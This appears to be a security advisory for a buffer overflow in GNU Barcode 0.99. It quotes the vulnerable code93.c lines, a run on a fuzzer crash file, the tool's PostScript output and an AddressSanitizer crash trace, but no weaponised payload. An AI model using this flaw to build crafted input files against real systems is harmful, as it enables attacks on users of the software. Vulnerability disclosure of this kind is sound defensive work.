# GNU Barcode 0.99 - Buffer Overflow
# Vendor: The GNU Project | Free Software Foundation, Inc.
# Product web page: https://www.gnu.org/software/barcode/
# https://directory.fsf.org/wiki/Barcode
# Author: Gjoko 'LiquidWorm' Krstic
# Tested on: Ubuntu 16.04.4
# Affected version: 0.99

# Summary: GNU Barcode is a tool to convert text strings to printed bars.
# It supports a variety of standard codes to represent the textual strings
# and creates postscript output.

# Desc: The vulnerability is caused due to a boundary error in the processing
# of an input file, which can be exploited to cause a buffer overflow when a
# user processes e.g. a specially crafted file. Successful exploitation could
# allow execution of arbitrary code on the affected machine.


code93.c:

165: strcat(partial, codeset[code]);
166: checksum_str[checksum_len++] = code;
167: 
168: /* Encode the second character */
169: code = strchr(alphabet, shiftset2[(int)(text[i])]) - alphabet;
170: strcat(partial, codeset[code]);
171: checksum_str[checksum_len++] = code;

lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -i id:000034,sig:06,src:000000,op:havoc,rep:128
%!PS-Adobe-2.0
%%Creator: "barcode", libbarcode sample frontend
%%DocumentPaperSizes: A4
%%EndComments
%%EndProlog

%%Page: 1 1

% Printing barcode for "W+G$A+M%KWWGWWWWWWWW9WW", scaled  1.00, encoded using "code 39"
% The space/bar succession is represented by the following widths (space first):
% 01311313111333111111113111313111111133131131313111131111311311311131311313111131111131313113111111331333111111133311111111111133131333111111133311111113331111111333111111133311111113331111111333111111133311111111133113111333111111133311111113111113311131131311
[
%  height  xpos   ypos  width       height  xpos   ypos  width
   [75.00  10.50  15.00  0.85]      [75.00  14.50  15.00  0.85]
   [75.00  17.50  15.00  2.85]      [75.00  21.50  15.00  2.85]
   [75.00  24.50  15.00  0.85]      [70.00  27.50  20.00  2.85]
   [70.00  33.50  20.00  2.85]      [70.00  36.50  20.00  0.85]
   [70.00  38.50  20.00  0.85]      [70.00  40.50  20.00  0.85]
   [70.00  42.50  20.00  0.85]      [70.00  46.50  20.00  0.85]
   [70.00  48.50  20.00  0.85]      [70.00  52.50  20.00  0.85]
   [70.00  56.50  20.00  0.85]      [70.00  58.50  20.00  0.85]
   [70.00  60.50  20.00  0.85]      [70.00  62.50  20.00  0.85]
   [70.00  67.50  20.00  2.85]      [70.00  71.50  20.00  2.85]
   [70.00  74.50  20.00  0.85]      [70.00  78.50  20.00  0.85]
   [70.00  82.50  20.00  0.85]      [70.00  86.50  20.00  0.85]
   [70.00  88.50  20.00  0.85]      [70.00  91.50  20.00  2.85]
   [70.00  94.50  20.00  0.85]      [70.00  96.50  20.00  0.85]
   [70.00 100.50  20.00  0.85]      [70.00 103.50  20.00  2.85]
   [70.00 106.50  20.00  0.85]      [70.00 110.50  20.00  0.85]
   [70.00 112.50  20.00  0.85]      [70.00 116.50  20.00  0.85]
   [70.00 120.50  20.00  0.85]      [70.00 123.50  20.00  2.85]
   [70.00 127.50  20.00  2.85]      [70.00 130.50  20.00  0.85]
   [70.00 132.50  20.00  0.85]      [70.00 136.50  20.00  0.85]
   [70.00 138.50  20.00  0.85]      [70.00 140.50  20.00  0.85]
   [70.00 144.50  20.00  0.85]      [70.00 148.50  20.00  0.85]
   [70.00 152.50  20.00  0.85]      [70.00 155.50  20.00  2.85]
   [70.00 158.50  20.00  0.85]      [70.00 160.50  20.00  0.85]
   [70.00 162.50  20.00  0.85]      [70.00 167.50  20.00  2.85]
   [70.00 171.50  20.00  2.85]      [70.00 177.50  20.00  2.85]
   [70.00 180.50  20.00  0.85]      [70.00 182.50  20.00  0.85]
   [70.00 184.50  20.00  0.85]      [70.00 187.50  20.00  2.85]
   [70.00 193.50  20.00  2.85]      [70.00 196.50  20.00  0.85]
   [70.00 198.50  20.00  0.85]      [70.00 200.50  20.00  0.85]
   [70.00 202.50  20.00  0.85]      [70.00 204.50  20.00  0.85]
   [70.00 206.50  20.00  0.85]      [70.00 211.50  20.00  2.85]
   [70.00 215.50  20.00  2.85]      [70.00 219.50  20.00  2.85]
   [70.00 225.50  20.00  2.85]      [70.00 228.50  20.00  0.85]
   [70.00 230.50  20.00  0.85]      [70.00 232.50  20.00  0.85]
   [70.00 235.50  20.00  2.85]      [70.00 241.50  20.00  2.85]
   [70.00 244.50  20.00  0.85]      [70.00 246.50  20.00  0.85]
   [70.00 248.50  20.00  0.85]      [70.00 251.50  20.00  2.85]
   [70.00 257.50  20.00  2.85]      [70.00 260.50  20.00  0.85]
   [70.00 262.50  20.00  0.85]      [70.00 264.50  20.00  0.85]
   [70.00 267.50  20.00  2.85]      [70.00 273.50  20.00  2.85]
   [70.00 276.50  20.00  0.85]      [70.00 278.50  20.00  0.85]
   [70.00 280.50  20.00  0.85]      [70.00 283.50  20.00  2.85]
   [70.00 289.50  20.00  2.85]      [70.00 292.50  20.00  0.85]
   [70.00 294.50  20.00  0.85]      [70.00 296.50  20.00  0.85]
   [70.00 299.50  20.00  2.85]      [70.00 305.50  20.00  2.85]
   [70.00 308.50  20.00  0.85]      [70.00 310.50  20.00  0.85]
   [70.00 312.50  20.00  0.85]      [70.00 315.50  20.00  2.85]
   [70.00 321.50  20.00  2.85]      [70.00 324.50  20.00  0.85]
   [70.00 326.50  20.00  0.85]      [70.00 328.50  20.00  0.85]
   [70.00 331.50  20.00  2.85]      [70.00 337.50  20.00  2.85]
   [70.00 340.50  20.00  0.85]      [70.00 342.50  20.00  0.85]
   [70.00 344.50  20.00  0.85]      [70.00 346.50  20.00  0.85]
   [70.00 349.50  20.00  2.85]      [70.00 354.50  20.00  0.85]
   [70.00 357.50  20.00  2.85]      [70.00 360.50  20.00  0.85]
   [70.00 363.50  20.00  2.85]      [70.00 369.50  20.00  2.85]
   [70.00 372.50  20.00  0.85]      [70.00 374.50  20.00  0.85]
   [70.00 376.50  20.00  0.85]      [70.00 379.50  20.00  2.85]
   [70.00 385.50  20.00  2.85]      [70.00 388.50  20.00  0.85]
   [70.00 390.50  20.00  0.85]      [70.00 392.50  20.00  0.85]
   [70.00 395.50  20.00  2.85]      [70.00 398.50  20.00  0.85]
   [70.00 400.50  20.00  0.85]      [70.00 403.50  20.00  2.85]
   [70.00 408.50  20.00  0.85]      [75.00 410.50  15.00  0.85]
   [75.00 414.50  15.00  0.85]      [75.00 417.50  15.00  2.85]
   [75.00 421.50  15.00  2.85]      [75.00 424.50  15.00  0.85]

]	{ {} forall setlinewidth moveto 0 exch rlineto stroke} bind forall
[
%   char    xpos   ypos fontsize
    [(W)   32.00  10.00 12.00]
    [(+)   48.00  10.00  0.00]
    [(G)   64.00  10.00  0.00]
    [($)   80.00  10.00  0.00]
    [(A)   96.00  10.00  0.00]
    [(+)  112.00  10.00  0.00]
    [(M)  128.00  10.00  0.00]
    [(%)  144.00  10.00  0.00]
    [(K)  160.00  10.00  0.00]
    [(W)  176.00  10.00  0.00]
    [(W)  192.00  10.00  0.00]
    [(G)  208.00  10.00  0.00]
    [(W)  224.00  10.00  0.00]
    [(W)  240.00  10.00  0.00]
    [(W)  256.00  10.00  0.00]
    [(W)  272.00  10.00  0.00]
    [(W)  288.00  10.00  0.00]
    [(W)  304.00  10.00  0.00]
    [(W)  320.00  10.00  0.00]
    [(W)  336.00  10.00  0.00]
    [(9)  352.00  10.00  0.00]
    [(W)  368.00  10.00  0.00]
    [(W)  384.00  10.00  0.00]
]   { {} forall dup 0.00 ne {
	/Helvetica findfont exch scalefont setfont
    } {pop} ifelse
    moveto show} bind forall
% End barcode for "W+G$A+M%KWWGWWWWWWWW9WW"

showpage
%%Page: 2 2

=================================================================
==11076==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000043bc02 at pc 0x00000042189a bp 0x7fff2f160c00 sp 0x7fff2f160bf0
READ of size 1 at 0x00000043bc02 thread T0
    #0 0x421899 in Barcode_93_encode /home/lqwrm/research/barcode-0.99/code93.c:169
    #1 0x409ac2 in Barcode_Encode_and_Print /home/lqwrm/research/barcode-0.99/library.c:234
    #2 0x402319 in main /home/lqwrm/research/barcode-0.99/main.c:564
    #3 0x7f9b8745282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #4 0x404708 in _start (/home/lqwrm/research/barcode-0.99/barcode+0x404708)

0x00000043bc02 is located 32 bytes to the right of global variable '*.LC6' defined in 'code93.c' (0x43bbe0) of size 2
  '*.LC6' is ascii string '1'
0x00000043bc02 is located 30 bytes to the left of global variable 'CSWTCH.16' defined in 'code93.c:146:5' (0x43bc20) of size 48
SUMMARY: AddressSanitizer: global-buffer-overflow /home/lqwrm/research/barcode-0.99/code93.c:169 Barcode_93_encode
Shadow bytes around the buggy address:
  0x00008007f730: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x00008007f740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x00008007f750: 00 00 00 00 07 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x00008007f760: f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
  0x00008007f770: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 02 f9 f9 f9
=>0x00008007f780:[f9]f9 f9 f9 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9
  0x00008007f790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x00008007f7a0: 01 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  0x00008007f7b0: 00 00 00 00 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9
  0x00008007f7c0: 07 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9
  0x00008007f7d0: 07 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==11076==ABORTING